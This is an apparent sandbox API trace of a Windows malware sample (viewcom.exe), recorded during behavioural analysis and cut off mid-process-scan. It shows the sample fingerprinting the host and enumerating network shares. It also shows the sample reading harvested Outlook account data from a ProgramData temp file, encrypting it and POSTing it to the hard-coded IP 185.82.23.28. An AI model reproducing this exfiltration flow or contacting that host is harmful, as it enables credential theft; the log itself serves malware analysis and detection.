[0067.684] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="M68B1B0D0") returned 0xc0
[0067.684] GetLastError () returned 0xb7
[0067.684] SetEvent (hEvent=0xbc) returned 1
[0067.686] CloseHandle (hObject=0xbc) returned 1
[0067.686] CloseHandle (hObject=0xc0) returned 1
[0067.686] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0067.686] LoadLibraryW (lpLibFileName="ole32.dll") returned 0x77460000
[0067.686] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0067.689] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x757b0000
[0067.689] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0067.689] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74dc0000
[0067.696] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x771e0000
[0067.696] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x741a0000
[0067.697] GetWindowsDirectoryW (in: lpBuffer=0x12f9f8, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
[0067.698] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x17b27c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x17b27c*=0x40f77a1b, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
[0067.698] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x17b9c8, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0067.698] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x6) returned 0x0
[0067.704] lstrlenA (lpString="agent,app,audio,bio,bits,cache,card,cart,cert,com,crypt,dcom,defrag,device,dhcp,dns,event,evt,flt,gdi,group,help,home,host,info,iso,launch,log,logon,lookup,man,math,mgmt,msi,ncb,net,nv,nvidia,proc,prop,prov,provider,reg,rpc,screen,search,sec,server,service,shed,shedule,spec,srv,storage,svc,sys,system,task,time,video,view,win,window,wlan,wmi") returned 342
[0067.704] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x17b5b8 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x0
[0067.706] _snwprintf (in: _Dest=0x17b5b8, _Count=0x104, _Format="%s\\Microsoft\\Windows" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows") returned 51
[0067.706] _snwprintf (in: _Dest=0x17b7c0, _Count=0x104, _Format="%s\\%s.exe" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned 63
[0067.706] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf4
[0067.706] CreateFileMappingW (hFile=0xf4, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0xf0
[0067.706] MapViewOfFile (hFileMappingObject=0xf0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x300000
[0067.706] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15000
[0067.706] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x300000, Length=0x15000) returned 0x751c40d2
[0067.707] UnmapViewOfFile (lpBaseAddress=0x300000) returned 1
[0067.708] CloseHandle (hObject=0xf0) returned 1
[0067.708] CloseHandle (hObject=0xf4) returned 1
[0067.708] GetComputerNameW (in: lpBuffer=0x12f9c8, nSize=0x12f9ec | out: lpBuffer="ZJEWV7F", nSize=0x12f9ec) returned 1
[0067.708] _snprintf (in: _Dest=0x17b2a8, _Count=0x104, _Format="%S_%08X" | out: _Dest="ZJEWV7F_40F77A1B") returned 16
[0067.708] _snwprintf (in: _Dest=0x12f968, _Count=0x40, _Format="Global\\I%X" | out: _Dest="Global\\I40F77A1B") returned 16
[0067.708] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\I40F77A1B") returned 0xf4
[0067.708] WaitForSingleObject (hHandle=0xf4, dwMilliseconds=0x0) returned 0x0
[0067.708] _snwprintf (in: _Dest=0x12f868, _Count=0x40, _Format="Global\\E%X" | out: _Dest="Global\\E40F77A1B") returned 16
[0067.708] _snwprintf (in: _Dest=0x12f8e8, _Count=0x40, _Format="Global\\M%X" | out: _Dest="Global\\M40F77A1B") returned 16
[0067.708] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\M40F77A1B") returned 0xf0
[0067.708] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\E40F77A1B") returned 0xf8
[0067.709] SignalObjectAndWait (hObjectToSignal=0xf8, hObjectToWaitOn=0xf0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0067.709] ResetEvent (hEvent=0xf8) returned 1
[0067.709] ReleaseMutex (hMutex=0xf4) returned 1
[0067.709] CloseHandle (hObject=0xf4) returned 1
[0067.709] GetTickCount () returned 0x17934
[0067.709] CreateTimerQueueTimer (in: phNewTimer=0x12f9e8, TimerQueue=0x0, Callback=0x178310, Parameter=0x0, DueTime=0x3e8, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x12f9e8*=0x1a40e0) returned 1
[0067.709] WaitForSingleObject (hHandle=0xf8, dwMilliseconds=0xffffffff)
Thread:
id = 48
os_tid = 0xba0
Thread:
id = 49
os_tid = 0xbac
[0068.717] GetTickCount () returned 0x17d2a
[0073.034] GetTickCount () returned 0x18cc4
[0079.190] GetTickCount () returned 0x1a3fb
[0079.190] GetTickCount () returned 0x1a3fb
[0079.190] GetTickCount () returned 0x1a3fb
[0079.190] GetTickCount () returned 0x1a3fb
[0079.190] GetTickCount () returned 0x1a3fb
[0079.191] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13042a8, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.191] GetComputerNameW (in: lpBuffer=0x130422c, nSize=0x172fdb8 | out: lpBuffer="ZJEWV7F", nSize=0x172fdb8) returned 1
[0079.201] WTSGetActiveConsoleSessionId () returned 0x1
[0079.201] WTSQueryUserToken (SessionId=0x1, phToken=0x172fdb8*=0x22c0048) returned 0
[0079.201] ImpersonateLoggedOnUser (hToken=0x0) returned 0
[0079.201] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x172f6f0 | out: lphEnum=0x172f6f0*=0x1b3690) returned 0x0
[0079.998] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
[0079.998] WNetEnumResourceW (in: hEnum=0x1b3690, lpcCount=0x172f6e4, lpBuffer=0x22cf2a8, lpBufferSize=0x172f700 | out: lpcCount=0x172f6e4, lpBuffer=0x22cf2a8, lpBufferSize=0x172f700) returned 0x0
[0079.998] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
[0079.998] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x22cf2a8, lphEnum=0x172f010 | out: lphEnum=0x172f010*=0x1a1608) returned 0x0
[0080.002] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
[0080.003] WNetEnumResourceW (in: hEnum=0x1a1608, lpcCount=0x172f004, lpBuffer=0x22df2b0, lpBufferSize=0x172f020 | out: lpcCount=0x172f004, lpBuffer=0x22df2b0, lpBufferSize=0x172f020) returned 0x103
[0080.006] WNetCloseEnum (hEnum=0x1a1608) returned 0x0
[0080.006] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
[0080.006] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x22cf2c8, lphEnum=0x172f010 | out: lphEnum=0x172f010*=0x1a1608) returned 0x4b8
[0092.695] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
[0092.695] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x22cf2e8, lphEnum=0x172f010 | out: lphEnum=0x172f010*=0x1a1608) returned 0x4c6
[0092.696] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
[0092.696] WNetEnumResourceW (in: hEnum=0x1b3690, lpcCount=0x172f6e4, lpBuffer=0x22cf2a8, lpBufferSize=0x172f700 | out: lpcCount=0x172f6e4, lpBuffer=0x22cf2a8, lpBufferSize=0x172f700) returned 0x103
[0092.696] WNetCloseEnum (hEnum=0x1b3690) returned 0x0
[0092.696] CloseHandle (hObject=0x0) returned 0
[0092.724] GetTickCount () returned 0x1d6fd
[0092.724] GetTickCount () returned 0x1d6fd
[0092.724] GetTickCount () returned 0x1d6fd
[0092.739] GetTickCount () returned 0x1d70c
[0092.833] GetTickCount () returned 0x1d76a
[0092.833] GetTickCount () returned 0x1d76a
[0092.849] GetTickCount () returned 0x1d779
[0092.926] GetTickCount () returned 0x1d7c7
[0092.926] GetTickCount () returned 0x1d7c7
[0092.944] GetTickCount () returned 0x1d7d7
[0093.021] GetTickCount () returned 0x1d825
[0093.021] GetTickCount () returned 0x1d825
[0093.036] GetTickCount () returned 0x1d835
[0093.130] GetTickCount () returned 0x1d892
[0093.130] GetTickCount () returned 0x1d892
[0093.145] GetTickCount () returned 0x1d8a2
[0093.223] GetTickCount () returned 0x1d8f0
[0093.223] GetTickCount () returned 0x1d8f0
[0093.238] GetTickCount () returned 0x1d8ff
[0093.332] GetTickCount () returned 0x1d95d
[0093.332] GetTickCount () returned 0x1d95d
[0093.348] GetTickCount () returned 0x1d96d
[0093.426] GetTickCount () returned 0x1d9bb
[0093.426] GetTickCount () returned 0x1d9bb
[0093.441] GetTickCount () returned 0x1d9ca
[0093.520] GetTickCount () returned 0x1da18
[0093.520] GetTickCount () returned 0x1da18
[0093.535] GetTickCount () returned 0x1da28
[0093.628] GetTickCount () returned 0x1da85
[0093.628] GetTickCount () returned 0x1da85
[0093.644] GetTickCount () returned 0x1da95
[0093.723] GetTickCount () returned 0x1dae3
[0093.723] GetTickCount () returned 0x1dae3
[0093.723] GetTickCount () returned 0x1dae3
[0093.723] CryptAcquireContextW (in: phProv=0x1a8fc10, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x1a8fc10*=0x1ceac0) returned 1
[0093.723] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0x1712b8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x172fd78, pcbStructInfo=0x172fd7c | out: pvStructInfo=0x172fd78, pcbStructInfo=0x172fd7c) returned 1
[0093.723] CryptImportKey (in: hProv=0x1ceac0, pbData=0x1deb78, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0x1a8fc14 | out: phKey=0x1a8fc14*=0x1b3650) returned 1
[0093.723] LocalFree (hMem=0x1deb78) returned 0x0
[0093.723] CryptGenKey (in: hProv=0x1ceac0, Algid=0x660e, dwFlags=0x1, phKey=0x1a8fc18 | out: phKey=0x1a8fc18*=0x1b35d0) returned 1
[0093.723] CryptCreateHash (in: hProv=0x1ceac0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x1a8fc1c | out: phHash=0x1a8fc1c) returned 1
[0093.737] GetTickCount () returned 0x1daf3
[0093.831] GetTickCount () returned 0x1db50
[0093.831] GetTickCount () returned 0x1db50
[0093.831] lstrlenA (lpString="ZJEWV7F_40F77A1B") returned 16
[0093.831] CreateFileW (lpFileName="C:\\ProgramData\\9F1C.tmp" (normalized: "c:\\programdata\\9f1c.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
[0093.834] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x70
[0093.834] CloseHandle (hObject=0x3a8) returned 1
[0093.834] SetEvent (hEvent=0x378) returned 1
[0093.847] GetTickCount () returned 0x1db60
[0093.925] GetTickCount () returned 0x1dbae
[0093.942] GetTickCount () returned 0x1dbbd
[0094.018] GetTickCount () returned 0x1dc0b
[0094.034] GetTickCount () returned 0x1dc1b
[0094.128] GetTickCount () returned 0x1dc79
[0094.143] GetTickCount () returned 0x1dc88
[0094.221] GetTickCount () returned 0x1dcd6
[0094.237] GetTickCount () returned 0x1dce6
[0094.333] GetTickCount () returned 0x1dd43
[0094.346] GetTickCount () returned 0x1dd53
[0094.424] GetTickCount () returned 0x1dda1
[0094.440] GetTickCount () returned 0x1ddb1
[0094.533] GetTickCount () returned 0x1de0e
[0094.549] GetTickCount () returned 0x1de1e
[0094.627] GetTickCount () returned 0x1de6c
[0094.642] GetTickCount () returned 0x1de7b
[0094.721] GetTickCount () returned 0x1dec9
[0094.721] GetTickCount () returned 0x1dec9
[0094.736] GetTickCount () returned 0x1ded9
[0094.830] GetTickCount () returned 0x1df37
[0094.845] GetTickCount () returned 0x1df46
[0094.924] GetTickCount () returned 0x1df94
[0094.939] GetTickCount () returned 0x1dfa4
[0095.032] GetTickCount () returned 0x1e001
[0095.048] GetTickCount () returned 0x1e011
[0095.128] GetTickCount () returned 0x1e05f
[0095.142] GetTickCount () returned 0x1e06f
[0095.220] GetTickCount () returned 0x1e0bd
[0095.235] GetTickCount () returned 0x1e0cc
[0095.329] GetTickCount () returned 0x1e12a
[0095.345] GetTickCount () returned 0x1e139
[0095.422] GetTickCount () returned 0x1e187
[0095.438] GetTickCount () returned 0x1e197
[0095.532] GetTickCount () returned 0x1e1f5
[0095.532] CryptAcquireContextW (in: phProv=0x3f2410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3f2410*=0x1ceac0) returned 1
[0095.532] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0x1712b8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x172fd78, pcbStructInfo=0x172fd7c | out: pvStructInfo=0x172fd78, pcbStructInfo=0x172fd7c) returned 1
[0095.532] CryptImportKey (in: hProv=0x1ceac0, pbData=0x1deb78, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0x3f2414 | out: phKey=0x3f2414*=0x1b3690) returned 1
[0095.532] LocalFree (hMem=0x1deb78) returned 0x0
[0095.532] CryptGenKey (in: hProv=0x1ceac0, Algid=0x660e, dwFlags=0x1, phKey=0x3f2418 | out: phKey=0x3f2418*=0x1b3510) returned 1
[0095.532] CryptCreateHash (in: hProv=0x1ceac0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x3f241c | out: phHash=0x3f241c) returned 1
[0095.547] GetTickCount () returned 0x1e204
[0095.625] GetTickCount () returned 0x1e252
[0095.625] lstrlenA (lpString="ZJEWV7F_40F77A1B") returned 16
[0095.625] CreateFileW (lpFileName="C:\\ProgramData\\9F1B.tmp" (normalized: "c:\\programdata\\9f1b.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
[0095.626] GetFileSize (in: hFile=0x378, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x54
[0095.626] CreateFileMappingW (hFile=0x378, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3a8
[0095.626] MapViewOfFile (hFileMappingObject=0x3a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1ad0000
[0095.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ad0000, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84
[0095.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ad0000, cbMultiByte=84, lpWideCharStr=0x1b4390, cchWideChar=84 | out: lpWideCharStr="djvohe,Outlook 2016,dkjvzh@jjjd.com,ffadv,,No,POP3,dkjvzh@jjjd.com,,Outlook,,ddvs,\r\n") returned 84
[0095.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="djvohe,Outlook 2016,dkjvzh@jjjd.com,ffadv,,No,POP3,dkjvzh@jjjd.com,,Outlook,,ddvs,\r\n", cchWideChar=84, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 84
[0095.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="djvohe,Outlook 2016,dkjvzh@jjjd.com,ffadv,,No,POP3,dkjvzh@jjjd.com,,Outlook,,ddvs,\r\n", cchWideChar=84, lpMultiByteStr=0x1b1110, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="djvohe,Outlook 2016,dkjvzh@jjjd.com,ffadv,,No,POP3,dkjvzh@jjjd.com,,Outlook,,ddvs,\r\n", lpUsedDefaultChar=0x0) returned 84
[0095.628] UnmapViewOfFile (lpBaseAddress=0x1ad0000) returned 1
[0095.628] CloseHandle (hObject=0x3a8) returned 1
[0095.628] CloseHandle (hObject=0x378) returned 1
[0095.630] CryptDuplicateHash (in: hHash=0x1b3710, pdwReserved=0x0, dwFlags=0x0, phHash=0x172fca0 | out: phHash=0x172fca0) returned 1
[0095.630] CryptEncrypt (in: hKey=0x1b3510, hHash=0x1b3750, Final=1, dwFlags=0x0, pbData=0x1ca284*, pdwDataLen=0x172fc94*=0x76, dwBufLen=0x80 | out: pbData=0x1ca284*, pdwDataLen=0x172fc94*=0x80) returned 1
[0095.630] CryptExportKey (in: hKey=0x1b3510, hExpKey=0x1b3690, dwBlobType=0x1, dwFlags=0x40, pbData=0x172fc24, pdwDataLen=0x172fc90 | out: pbData=0x172fc24*, pdwDataLen=0x172fc90*=0x6c) returned 1
[0095.630] CryptGetHashParam (in: hHash=0x1b3750, dwParam=0x2, pbData=0x1ca270, pdwDataLen=0x172fc90, dwFlags=0x0 | out: pbData=0x1ca270, pdwDataLen=0x172fc90) returned 1
[0095.630] CryptDestroyHash (hHash=0x1b3750) returned 1
[0095.630] _snwprintf (in: _Dest=0x172fcc0, _Count=0x40, _Format="%u.%u.%u.%u" | out: _Dest="185.82.23.28") returned 12
[0095.630] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x172fa98, cbSize=0x172fc98 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x172fc98) returned 0x0
[0095.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x172fa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 172
[0095.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x172fa98, cbMultiByte=-1, lpWideCharStr=0x1ddc48, cchWideChar=172 | out: lpWideCharStr="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 172
[0095.630] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0095.630] InternetConnectW (hInternet=0xcc0004, lpszServerName="185.82.23.28", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0095.630] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c
[0095.631] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x1ca210*, dwOptionalLength=0xf4 | out: lpOptional=0x1ca210*) returned 1
[0095.831] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x172fd50, lpdwBufferLength=0x172fca8, lpdwIndex=0x0 | out: lpBuffer=0x172fd50*, lpdwBufferLength=0x172fca8*=0x4, lpdwIndex=0x0) returned 1
[0095.831] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x172fc98, lpdwBufferLength=0x172fca0, lpdwIndex=0x0 | out: lpBuffer=0x172fc98*, lpdwBufferLength=0x172fca0*=0x4, lpdwIndex=0x0) returned 1
[0095.831] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1d09a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x172fc9c | out: lpBuffer=0x1d09a0*, lpdwNumberOfBytesRead=0x172fc9c*=0x94) returned 1
[0095.831] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1d0a34, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x172fc9c | out: lpBuffer=0x1d0a34*, lpdwNumberOfBytesRead=0x172fc9c*=0x0) returned 1
[0095.831] CryptDuplicateHash (in: hHash=0x1b3710, pdwReserved=0x0, dwFlags=0x0, phHash=0x172fca0 | out: phHash=0x172fca0) returned 1
[0095.831] CryptDecrypt (in: hKey=0x1b3510, hHash=0x1b3490, Final=1, dwFlags=0x0, pbData=0x1e11e8, pdwDataLen=0x172fd6c | out: pbData=0x1e11e8, pdwDataLen=0x172fd6c) returned 1
[0095.831] CryptVerifySignatureW (hHash=0x1b3490, pbSignature=0x1d09a0, dwSigLen=0x60, hPubKey=0x1b3690, szDescription=0x0, dwFlags=0x0) returned 1
[0095.831] CryptDestroyHash (hHash=0x1b3490) returned 1
[0095.832] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0095.834] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0095.834] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0095.844] GetTickCount () returned 0x1e32d
[0095.937] GetTickCount () returned 0x1e38a
[0096.046] GetTickCount () returned 0x1e3f7
[0096.140] GetTickCount () returned 0x1e455
[0096.250] GetTickCount () returned 0x1e4c2
[0096.343] GetTickCount () returned 0x1e520
[0096.437] GetTickCount () returned 0x1e57d
[0096.546] GetTickCount () returned 0x1e5eb
[0096.639] GetTickCount () returned 0x1e648
[0096.718] GetTickCount () returned 0x1e696
[0096.748] GetTickCount () returned 0x1e6b5
[0096.842] GetTickCount () returned 0x1e713
[0096.936] GetTickCount () returned 0x1e771
[0097.052] GetTickCount () returned 0x1e7de
[0097.145] GetTickCount () returned 0x1e83c
[0097.248] GetTickCount () returned 0x1e8a9
[0097.342] GetTickCount () returned 0x1e906
[0097.468] GetTickCount () returned 0x1e983
[0097.544] GetTickCount () returned 0x1e9d1
[0097.638] GetTickCount () returned 0x1ea2f
[0097.716] GetTickCount () returned 0x1ea7d
[0097.747] GetTickCount () returned 0x1ea9c
[0097.841] GetTickCount () returned 0x1eafa
[0097.934] GetTickCount () returned 0x1eb57
[0098.043] GetTickCount () returned 0x1ebc4
[0098.137] GetTickCount () returned 0x1ec22
[0098.268] GetTickCount () returned 0x1ec9f
[0098.360] GetTickCount () returned 0x1ecfc
[0098.449] GetTickCount () returned 0x1ed5a
[0098.449] CryptAcquireContextW (in: phProv=0x1abcc10, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x1abcc10*=0x1ceac0) returned 1
[0098.450] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0x1712b8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x172fd78, pcbStructInfo=0x172fd7c | out: pvStructInfo=0x172fd78, pcbStructInfo=0x172fd7c) returned 1
[0098.450] CryptImportKey (in: hProv=0x1ceac0, pbData=0x1deb78, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0x1abcc14 | out: phKey=0x1abcc14*=0x1b35d0) returned 1
[0098.450] LocalFree (hMem=0x1deb78) returned 0x0
[0098.450] CryptGenKey (in: hProv=0x1ceac0, Algid=0x660e, dwFlags=0x1, phKey=0x1abcc18 | out: phKey=0x1abcc18*=0x1b34d0) returned 1
[0098.450] CryptCreateHash (in: hProv=0x1ceac0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x1abcc1c | out: phHash=0x1abcc1c) returned 1
[0098.543] GetTickCount () returned 0x1edb8
[0098.543] lstrlenA (lpString="ZJEWV7F_40F77A1B") returned 16
[0098.543] CreateFileW (lpFileName="C:\\ProgramData\\9F2D.tmp" (normalized: "c:\\programdata\\9f2d.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0098.543] SetEvent (hEvent=0x374) returned 1
[0098.730] GetTickCount () returned 0x1ee73
Thread:
id = 50
os_tid = 0xbb0
[0069.714] GetTickCount () returned 0x18111
[0069.714] lstrcmpiW (lpString1="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpString2="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned 0
[0070.712] GetTickCount () returned 0x184f7
[0070.712] CryptAcquireContextW (in: phProv=0x17b284, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x17b284*=0x1a5730) returned 1
[0070.733] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0x1712b8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x182fd50, pcbStructInfo=0x182fd54 | out: pvStructInfo=0x182fd50, pcbStructInfo=0x182fd54) returned 1
[0070.734] CryptImportKey (in: hProv=0x1a5730, pbData=0x195c60, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0x17b288 | out: phKey=0x17b288*=0x1a5ff0) returned 1
[0070.734] LocalFree (hMem=0x195c60) returned 0x0
[0070.735] CryptGenKey (in: hProv=0x1a5730, Algid=0x660e, dwFlags=0x1, phKey=0x17b28c | out: phKey=0x17b28c*=0x1a6148) returned 1
[0070.735] CryptCreateHash (in: hProv=0x1a5730, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x17b290 | out: phHash=0x17b290) returned 1
[0071.710] GetTickCount () returned 0x188dd
[0071.710] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x182f90c, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0071.710] lstrlenW (lpString="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned 63
[0071.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc
[0071.713] Process32FirstW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
[0071.714] lstrcpyW (in: lpString1=0x1a651c, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]"
